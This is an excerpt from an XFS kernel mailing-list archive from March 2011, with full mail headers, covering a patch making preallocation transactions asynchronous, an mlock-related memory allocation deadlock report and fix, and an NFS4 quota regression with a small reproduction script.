version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 23, 2011 at 11:30:17PM +0100, Adam Lackorzynski wrote: > I probably mistyped something and thus bisected again: maybe this is just a symptom. When was the nfs4 code converted to just use a single open struct file, and what are the lifetime rules for it? It would easily be that a long alive file might make XFS keep persistent preallocations longer or similar issues. Adam, can you create a loop filesystem with ext3 or something else on it and see if the problem is XFS-specific? From brian.foster@emc.com Thu Mar 24 12:15:56 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.4 required=5.0 tests=BAYES_00,URIBL_RHS_DOB autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2OHFuAZ168421 for ; Thu, 24 Mar 2011 12:15:56 -0500 X-ASG-Debug-ID: 1300987141-7efd03160000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mexforward.lss.emc.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 985151417F8D; Thu, 24 Mar 2011 10:19:01 -0700 (PDT) Received: from mexforward.lss.emc.com (mexforward.lss.emc.com [128.222.32.20]) by cuda.sgi.com with ESMTP id McCQKEsiwQv4l41v; Thu, 24 Mar 2011 10:19:01 -0700 (PDT) Received: from hop04-l1d11-si04.isus.emc.com (HOP04-L1D11-SI04.isus.emc.com [10.254.111.24]) by mexforward.lss.emc.com (Switch-3.4.3/Switch-3.4.3) with ESMTP id p2OHIbUl013623 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 24 Mar 2011 13:18:37 -0400 Received: from mailhub.lss.emc.com (mailhub.lss.emc.com [10.254.222.226]) by hop04-l1d11-si04.isus.emc.com (RSA Interceptor); Thu, 24 Mar 2011 13:18:29 -0400 Received: from mxhub20.corp.emc.com (mxhub20.corp.emc.com [10.254.93.49]) by mailhub.lss.emc.com (Switch-3.4.3/Switch-3.4.3) with ESMTP id p2OHI1Is006422; Thu, 24 Mar 2011 13:18:01 -0400 Received: from mx31a.corp.emc.com ([169.254.1.74]) by mxhub20.corp.emc.com ([10.254.93.49]) with mapi; Thu, 24 Mar 2011 13:18:01 -0400 From: To: , CC: Date: Thu, 24 Mar 2011 13:18:06 -0400 X-ASG-Orig-Subj: RE: [PATCH 1/6] xfs: preallocation transactions do not need to be synchronous Subject: RE: [PATCH 1/6] xfs: preallocation transactions do not need to be synchronous Thread-Topic: [PATCH 1/6] xfs: preallocation transactions do not need to be synchronous Thread-Index: AcvpJkkrJRtX4Ok4TXakB465V8/DqgBIFNxQ Message-ID: <9EBB77E762A6744BACE68EDD6A4796990712DB92@MX31A.corp.emc.com> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <1300860870-15471-2-git-send-email-david@fromorbit.com> In-Reply-To: <1300860870-15471-2-git-send-email-david@fromorbit.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-EMM-MHVC: 1 X-Barracuda-Connect: mexforward.lss.emc.com[128.222.32.20] X-Barracuda-Start-Time: 1300987142 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58847 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > -----Original Message----- > From: xfs-bounces@oss.sgi.com [mailto:xfs-bounces@oss.sgi.com] On > Behalf Of Dave Chinner > Sent: Wednesday, March 23, 2011 2:14 AM > To: xfs@oss.sgi.com > Cc: aelder@sgi.com > Subject: [PATCH 1/6] xfs: preallocation transactions do not need to be > synchronous > diff --git a/fs/xfs/linux-2.6/xfs_file.c b/fs/xfs/linux-2.6/xfs_file.c in= dex > ae59865..baa2cb3 100644 > --- a/fs/xfs/linux-2.6/xfs_file.c > +++ b/fs/xfs/linux-2.6/xfs_file.c > @@ -896,6 +896,7 @@ xfs_file_fallocate( > xfs_flock64_t bf; > xfs_inode_t *ip =3D XFS_I(inode); > int cmd =3D XFS_IOC_RESVSP; > + int attr_flags =3D XFS_ATTR_NOLOCK; >=20 > if (mode & ~(FALLOC_FL_KEEP_SIZE | > FALLOC_FL_PUNCH_HOLE | > @@ -922,6 +923,9 @@ xfs_file_fallocate( > goto out_unlock; > } >=20 > + if (file->f_flags & O_DSYNC) > + attr_flags |=3D XFS_ATTR_SYNC; > + > error =3D -xfs_change_file_space(ip, cmd, &bf, 0, XFS_ATTR_NOLOCK); > if (error) > goto out_unlock; Where are you passing attr_flags? I was looking at this because I noticed a nice performance improvement in s= ome Samba tests with the xfs_trans_set_sync() call removed, but I have a fo= llow up question... I'd like to back port this patch to 2.6.34. The majorit= y of this patch applies (manually), but the segment above is problematic in= that I have an xfs_vn_fallocate() inode operations handler (xfs_iops.c) wi= thout the file pointer rather than the above file operations handler.=20 Without really knowing any of this code, I assume I can IS_SYNC() the inode= to check for the sync mount situation? Assuming that is correct, is there = a straightforward way to cover the open(..., O_SYNC) situation? I suppose I= 'm open to hacking the VFS to one off this call if I have to, but would rat= her avoid the ugliness. Any comments are appreciated, thanks. Brian From BATV+524c80fba09799337e88+2769+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 24 12:40:06 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.4 required=5.0 tests=BAYES_00,URIBL_RHS_DOB autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2OHe6pF169602 for ; Thu, 24 Mar 2011 12:40:06 -0500 X-ASG-Debug-ID: 1300988593-368f01a60000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4F5B11DF5177 for ; Thu, 24 Mar 2011 10:43:13 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id dU2XQR8PH2bXphp4 for ; Thu, 24 Mar 2011 10:43:13 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q2oYx-0008F8-RO; Thu, 24 Mar 2011 17:43:11 +0000 Date: Thu, 24 Mar 2011 13:43:11 -0400 From: Christoph Hellwig To: Sean Noonan Cc: "'linux-kernel@vger.kernel.org'" , Martin Bligh , Trammell Hudson , Christos Zoulas , "'linux-xfs@oss.sgi.com'" , Stephen Degler , walken@google.com, linux-mm@kvack.org X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 Message-ID: <20110324174311.GA31576@infradead.org> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300988593 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Michel, can you take a look at this bug report? It looks like a regression in your mlock handling changes. On Wed, Mar 23, 2011 at 03:39:05PM -0400, Sean Noonan wrote: > I believe this patch fixes the behavior: > diff --git a/mm/memory.c b/mm/memory.c > index e48945a..740d5ab 100644 > --- a/mm/memory.c > +++ b/mm/memory.c > @@ -3461,7 +3461,9 @@ int make_pages_present(unsigned long addr, unsigned long end) > * to break COW, except for shared mappings because these don't COW > * and we would not want to dirty them for nothing. > */ > - write = (vma->vm_flags & (VM_WRITE | VM_SHARED)) == VM_WRITE; > + write = (vma->vm_flags & VM_WRITE) != 0; > + if (write && ((vma->vm_flags & VM_SHARED) !=0) && (vma->vm_file == NULL)) > + write = 0; > BUG_ON(addr >= end); > BUG_ON(end > vma->vm_end); > len = DIV_ROUND_UP(end, PAGE_SIZE) - addr/PAGE_SIZE; > > > This was traced to the following commit: > 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272 is the first bad commit > commit 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272 > Author: Michel Lespinasse > Date: Thu Jan 13 15:46:09 2011 -0800 > > mlock: avoid dirtying pages and triggering writeback > > When faulting in pages for mlock(), we want to break COW for anonymous or > file pages within VM_WRITABLE, non-VM_SHARED vmas. However, there is no > need to write-fault into VM_SHARED vmas since shared file pages can be > mlocked first and dirtied later, when/if they actually get written to. > Skipping the write fault is desirable, as we don't want to unnecessarily > cause these pages to be dirtied and queued for writeback. > > Signed-off-by: Michel Lespinasse > Cc: Hugh Dickins > Cc: Rik van Riel > Cc: Kosaki Motohiro > Cc: Peter Zijlstra > Cc: Nick Piggin > Cc: Theodore Tso > Cc: Michael Rubin > Cc: Suleiman Souhlal > Cc: Dave Chinner > Cc: Christoph Hellwig > Signed-off-by: Andrew Morton > Signed-off-by: Linus Torvalds > > :040000 040000 604eede2f45b7e5276ce9725b715ed15a868861d 3c175eadf4cf33d4f78d4d455c9a04f3df2c199e M mm > > > -----Original Message----- > From: Sean Noonan > Sent: Monday, March 21, 2011 12:20 > To: 'linux-kernel@vger.kernel.org' > Cc: Trammell Hudson; Martin Bligh; Stephen Degler; Christos Zoulas > Subject: XFS memory allocation deadlock in 2.6.38 > > This message was originally posted to the XFS mailing list, but received no responses. Thus, I am sending it to LKML on the advice of Martin. > > Using the attached program, we are able to reproduce this bug reliably. > $ make vmtest > $ ./vmtest /xfs/hugefile.dat $(( 16 * 1024 * 1024 * 1024 )) # vmtest > /xfs/hugefile.dat: mapped 17179869184 bytes in 33822066943 ticks > 749660: avg 13339 max 234667 ticks > 371945: avg 26885 max 281616 ticks > --- > At this point, we see the following on the console: > [593492.694806] XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) > [593506.724367] XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) > [593524.837717] XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) > [593556.742386] XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) > > This is the same message presented in > http://oss.sgi.com/bugzilla/show_bug.cgi?id=410 > > We started testing with 2.6.38-rc7 and have seen this bug through to the .0 release. This does not appear to be present in 2.6.33, but we have not done testing in between. We have tested with ext4 and do not encounter this bug. > CONFIG_XFS_FS=y > CONFIG_XFS_QUOTA=y > CONFIG_XFS_POSIX_ACL=y > CONFIG_XFS_RT=y > # CONFIG_XFS_DEBUG is not set > # CONFIG_VXFS_FS is not set > > Here is the stack from the process: > [] call_rwsem_down_write_failed+0x13/0x20 > [] xfs_ilock+0x7e/0x110 > [] __xfs_get_blocks+0x8f/0x4e0 > [] xfs_get_blocks+0x11/0x20 > [] __block_write_begin+0x1ee/0x5b0 > [] block_page_mkwrite+0x9d/0xf0 > [] xfs_vm_page_mkwrite+0x15/0x20 > [] do_wp_page+0x54b/0x820 > [] handle_pte_fault+0x3cc/0x820 > [] handle_mm_fault+0x175/0x2f0 > [] do_page_fault+0x159/0x470 > [] page_fault+0x1f/0x30 > [] 0xffffffffffffffff > > # uname -a > Linux testhost 2.6.38 #2 SMP PREEMPT Fri Mar 18 15:00:59 GMT 2011 x86_64 GNU/Linux > > Please let me know if additional information is required. > > Thanks! > > Sean > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs ---end quoted text--- From bfields@fieldses.org Thu Mar 24 12:48:06 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2OHm5Bh169943 for ; Thu, 24 Mar 2011 12:48:06 -0500 X-ASG-Debug-ID: 1300989071-6b86026c0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from fieldses.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 146263787A6 for ; Thu, 24 Mar 2011 10:51:11 -0700 (PDT) Received: from fieldses.org (fieldses.org [174.143.236.118]) by cuda.sgi.com with ESMTP id yXJMBn4yBs6KJx7G for ; Thu, 24 Mar 2011 10:51:11 -0700 (PDT) Received: from bfields by fieldses.org with local (Exim 4.72) (envelope-from ) id 1Q2ogc-0000bB-M7; Thu, 24 Mar 2011 13:51:06 -0400 Date: Thu, 24 Mar 2011 13:51:06 -0400 From: "J. Bruce Fields" To: Christoph Hellwig Cc: Adam Lackorzynski , linux-nfs@vger.kernel.org, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: 2.6.38: Quota over NFS4 Subject: Re: 2.6.38: Quota over NFS4 Message-ID: <20110324175106.GB1886@fieldses.org> References: <20110320213111.GO11929@os.inf.tu-dresden.de> <20110320214316.GB26036@fieldses.org> <20110321184043.GC4992@os.inf.tu-dresden.de> <20110321222301.GB472@fieldses.org> <20110322221305.GA5857@os.inf.tu-dresden.de> <20110323150328.GD23418@fieldses.org> <20110323174052.GE5005@os.inf.tu-dresden.de> <20110323190632.GA26306@fieldses.org> <20110323223017.GA5177@os.inf.tu-dresden.de> <20110324171704.GA1784@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110324171704.GA1784@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: fieldses.org[174.143.236.118] X-Barracuda-Start-Time: 1300989072 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58851 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 24, 2011 at 01:17:05PM -0400, Christoph Hellwig wrote: > On Wed, Mar 23, 2011 at 11:30:17PM +0100, Adam Lackorzynski wrote: > > I probably mistyped something and thus bisected again: > > maybe this is just a symptom. When was the nfs4 code converted > to just use a single open struct file, and what are the lifetime > rules for it? It would easily be that a long alive file might > make XFS keep persistent preallocations longer or similar issues. Definitely, the commit he's bisect to there seems much more likely to be a culprit. I'll take a closer look.... > Adam, can you create a loop filesystem with ext3 or something else > on it and see if the problem is XFS-specific? Originally it sounded like he was able to reproduce this only on one specific filesystem so I wondered whether there was something particular to that filesystem. --b. From adam@os.inf.tu-dresden.de Thu Mar 24 17:25:08 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2OMP7Pw182691 for ; Thu, 24 Mar 2011 17:25:08 -0500 X-ASG-Debug-ID: 1301005693-15b302e50000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from os.inf.tu-dresden.de (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 6618F379648 for ; Thu, 24 Mar 2011 15:28:14 -0700 (PDT) Received: from os.inf.tu-dresden.de (os.inf.tu-dresden.de [141.76.48.99]) by cuda.sgi.com with ESMTP id 3P3ZL0a6sr5GFDZu for ; Thu, 24 Mar 2011 15:28:14 -0700 (PDT) Received: from erwin.inf.tu-dresden.de ([141.76.48.80] helo=os.inf.tu-dresden.de) by os.inf.tu-dresden.de with esmtps (TLSv1:AES128-SHA:128) (Exim 4.75) id 1Q2t0j-0006E6-P4; Thu, 24 Mar 2011 23:28:10 +0100 Date: Thu, 24 Mar 2011 23:28:07 +0100 From: Adam Lackorzynski To: "J. Bruce Fields" Cc: Christoph Hellwig , linux-nfs@vger.kernel.org, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: 2.6.38: Quota over NFS4 Subject: Re: 2.6.38: Quota over NFS4 Message-ID: <20110324222807.GC10821@os.inf.tu-dresden.de> References: <20110320214316.GB26036@fieldses.org> <20110321184043.GC4992@os.inf.tu-dresden.de> <20110321222301.GB472@fieldses.org> <20110322221305.GA5857@os.inf.tu-dresden.de> <20110323150328.GD23418@fieldses.org> <20110323174052.GE5005@os.inf.tu-dresden.de> <20110323190632.GA26306@fieldses.org> <20110323223017.GA5177@os.inf.tu-dresden.de> <20110324171704.GA1784@infradead.org> <20110324175106.GB1886@fieldses.org> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20110324175106.GB1886@fieldses.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: os.inf.tu-dresden.de[141.76.48.99] X-Barracuda-Start-Time: 1301005694 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58869 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu Mar 24, 2011 at 13:51:06 -0400, J. Bruce Fields wrote: > On Thu, Mar 24, 2011 at 01:17:05PM -0400, Christoph Hellwig wrote: > > On Wed, Mar 23, 2011 at 11:30:17PM +0100, Adam Lackorzynski wrote: > > > I probably mistyped something and thus bisected again: > > > > maybe this is just a symptom. When was the nfs4 code converted > > to just use a single open struct file, and what are the lifetime > > rules for it? It would easily be that a long alive file might > > make XFS keep persistent preallocations longer or similar issues. > > Definitely, the commit he's bisect to there seems much more likely to be > a culprit. I'll take a closer look.... > > > Adam, can you create a loop filesystem with ext3 or something else > > on it and see if the problem is XFS-specific? > > Originally it sounded like he was able to reproduce this only on one > specific filesystem so I wondered whether there was something particular > to that filesystem. I just found out it happens also with a newly created xfs and also with ext3 and ext4. The reason that I did not see that initially is that the script I'm using needs to be on the same fs which wasn't the case when I initially tried it with a new fs. The sequence I'm using is: # mount x.x.x:/home /tmp/st # su - foo $ cd /tmp/st/foo/x $ ../test-script foo@host:/tmp/st/foo/x$ ../test-script Filesystem Inodes IUsed IFree IUse% Mounted on x.x.x:/home 39321600 15 39321585 1% /tmp/st Filesystem Inodes IUsed IFree IUse% Mounted on x.x.x:/home 39321600 16 39321584 1% /tmp/st Filesystem Inodes IUsed IFree IUse% Mounted on x.x.x:/home 39321600 16 39321584 1% /tmp/st test-script: #! /bin/sh df -i . cp /bin/ls x1 df -i . cat x1 > /dev/null rm x1 df -i . Adam -- Adam adam@os.inf.tu-dresden.de Lackorzynski http://os.inf.tu-dresden.de/~adam/ From david@fromorbit.com Thu Mar 24 17:50:55 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.4 required=5.0 tests=BAYES_00,URIBL_RHS_DOB autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2OMotlG183986 for ; Thu, 24 Mar 2011 17:50:55 -0500 X-ASG-Debug-ID: 1301007240-09b500390000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1905C3799D7 for ; Thu, 24 Mar 2011 15:54:00 -0700 (PDT) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id AOWBJEHWEnfrudho for ; Thu, 24 Mar 2011 15:54:00 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AskAAObKi015LK5JgWdsb2JhbACYDo06FQEBFiYliE28PQ2FXAQ Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail04.adl6.internode.on.net with ESMTP; 25 Mar 2011 09:23:59 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q2tPh-0002KL-Me; Fri, 25 Mar 2011 09:53:57 +1100 Date: Fri, 25 Mar 2011 09:53:57 +1100 From: Dave Chinner To: brian.foster@emc.com Cc: xfs@oss.sgi.com, aelder@sgi.com X-ASG-Orig-Subj: [PATCH V2] xfs: preallocation transactions do not need to be synchronous Subject: [PATCH V2] xfs: preallocation transactions do not need to be synchronous Message-ID: <20110324225357.GI26611@dastard> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <1300860870-15471-2-git-send-email-david@fromorbit.com> <9EBB77E762A6744BACE68EDD6A4796990712DB92@MX31A.corp.emc.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <9EBB77E762A6744BACE68EDD6A4796990712DB92@MX31A.corp.emc.com> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1301007242 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58871 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 24, 2011 at 01:18:06PM -0400, brian.foster@emc.com wrote: > > -----Original Message----- > > From: xfs-bounces@oss.sgi.com [mailto:xfs-bounces@oss.sgi.com] On > > Behalf Of Dave Chinner > > Sent: Wednesday, March 23, 2011 2:14 AM > > To: xfs@oss.sgi.com > > Cc: aelder@sgi.com > > Subject: [PATCH 1/6] xfs: preallocation transactions do not need to be > > synchronous > > > diff --git a/fs/xfs/linux-2.6/xfs_file.c b/fs/xfs/linux-2.6/xfs_file.c index > > ae59865..baa2cb3 100644 > > --- a/fs/xfs/linux-2.6/xfs_file.c > > +++ b/fs/xfs/linux-2.6/xfs_file.c > > @@ -896,6 +896,7 @@ xfs_file_fallocate( > > xfs_flock64_t bf; > > xfs_inode_t *ip = XFS_I(inode); > > int cmd = XFS_IOC_RESVSP; > > + int attr_flags = XFS_ATTR_NOLOCK; > > > > if (mode & ~(FALLOC_FL_KEEP_SIZE | > > FALLOC_FL_PUNCH_HOLE | > > @@ -922,6 +923,9 @@ xfs_file_fallocate( > > goto out_unlock; > > } > > > > + if (file->f_flags & O_DSYNC) > > + attr_flags |= XFS_ATTR_SYNC; > > + > > error = -xfs_change_file_space(ip, cmd, &bf, 0, XFS_ATTR_NOLOCK); > > if (error) > > goto out_unlock; > > Where are you passing attr_flags? Argh. Good catch. That's the problem with having two interfaces that do the same thing - you're not sure which one is being tested by the test suite in any given test. Fixed patch below. > I was looking at this because I noticed a nice performance > improvement in some Samba tests with the xfs_trans_set_sync() call > removed, but I have a follow up question... I'd like to back port > this patch to 2.6.34. The majority of this patch applies > (manually), but the segment above is problematic in that I have an > xfs_vn_fallocate() inode operations handler (xfs_iops.c) without > the file pointer rather than the above file operations handler. Yup, .fallocate got moved from an inode operation to a file operation a while back in: 2fe17c1 fallocate should be a file operation > Without really knowing any of this code, I assume I can IS_SYNC() > the inode to check for the sync mount situation? Assuming that is > correct, is there a straightforward way to cover the open(..., > O_SYNC) situation? I suppose I'm open to hacking the VFS to one > off this call if I have to, but would rather avoid the ugliness. > Any comments are appreciated, thanks. Porting the above commit first is probably the only way to get this. Cheers, Dave. -- Dave Chinner david@fromorbit.com xfs: preallocation transactions do not need to be synchronous From: Dave Chinner Preallocation and hole punch transactions are currently synchronous and this is causing performance problems in some cases. The transactions don't need to be synchronous as we don't need to guarantee the preallocation is persistent on disk until a fdatasync, fsync, sync operation occurs. If the file is opened O_SYNC or O_DATASYNC, only then should the transaction be issued synchronously. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig --- fs/xfs/linux-2.6/xfs_file.c | 6 +++++- fs/xfs/linux-2.6/xfs_ioctl.c | 4 ++++ fs/xfs/xfs_vnodeops.c | 3 ++- fs/xfs/xfs_vnodeops.h | 1 + 4 files changed, 12 insertions(+), 2 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_file.c b/fs/xfs/linux-2.6/xfs_file.c index ae59865..0c255b1 100644 --- a/fs/xfs/linux-2.6/xfs_file.c +++ b/fs/xfs/linux-2.6/xfs_file.c @@ -896,6 +896,7 @@ xfs_file_fallocate( xfs_flock64_t bf; xfs_inode_t *ip = XFS_I(inode); int cmd = XFS_IOC_RESVSP; + int attr_flags = XFS_ATTR_NOLOCK; if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | @@ -922,7 +923,10 @@ xfs_file_fallocate( goto out_unlock; } - error = -xfs_change_file_space(ip, cmd, &bf, 0, XFS_ATTR_NOLOCK); + if (file->f_flags & O_DSYNC) + attr_flags |= XFS_ATTR_SYNC; + + error = -xfs_change_file_space(ip, cmd, &bf, 0, attr_flags); if (error) goto out_unlock; diff --git a/fs/xfs/linux-2.6/xfs_ioctl.c b/fs/xfs/linux-2.6/xfs_ioctl.c index 0ca0e3c..acca2c5 100644 --- a/fs/xfs/linux-2.6/xfs_ioctl.c +++ b/fs/xfs/linux-2.6/xfs_ioctl.c @@ -624,6 +624,10 @@ xfs_ioc_space( if (filp->f_flags & (O_NDELAY|O_NONBLOCK)) attr_flags |= XFS_ATTR_NONBLOCK; + + if (filp->f_flags & O_DSYNC) + attr_flags |= XFS_ATTR_SYNC; + if (ioflags & IO_INVIS) attr_flags |= XFS_ATTR_DMI; diff --git a/fs/xfs/xfs_vnodeops.c b/fs/xfs/xfs_vnodeops.c index 37d8146..c48b421 100644 --- a/fs/xfs/xfs_vnodeops.c +++ b/fs/xfs/xfs_vnodeops.c @@ -2831,7 +2831,8 @@ xfs_change_file_space( ip->i_d.di_flags &= ~XFS_DIFLAG_PREALLOC; xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - xfs_trans_set_sync(tp); + if (attr_flags & XFS_ATTR_SYNC) + xfs_trans_set_sync(tp); error = xfs_trans_commit(tp, 0); diff --git a/fs/xfs/xfs_vnodeops.h b/fs/xfs/xfs_vnodeops.h index f6702927..3bcd233 100644 --- a/fs/xfs/xfs_vnodeops.h +++ b/fs/xfs/xfs_vnodeops.h @@ -18,6 +18,7 @@ int xfs_setattr(struct xfs_inode *ip, struct iattr *vap, int flags); #define XFS_ATTR_NONBLOCK 0x02 /* return EAGAIN if operation would block */ #define XFS_ATTR_NOLOCK 0x04 /* Don't grab any conflicting locks */ #define XFS_ATTR_NOACL 0x08 /* Don't call xfs_acl_chmod */ +#define XFS_ATTR_SYNC 0x10 /* synchronous operation required */ int xfs_readlink(struct xfs_inode *ip, char *link); int xfs_release(struct xfs_inode *ip); From walken@google.com Thu Mar 24 18:42:39 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_42, T_DKIM_INVALID autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2ONgcNd186281 for ; Thu, 24 Mar 2011 18:42:39 -0500 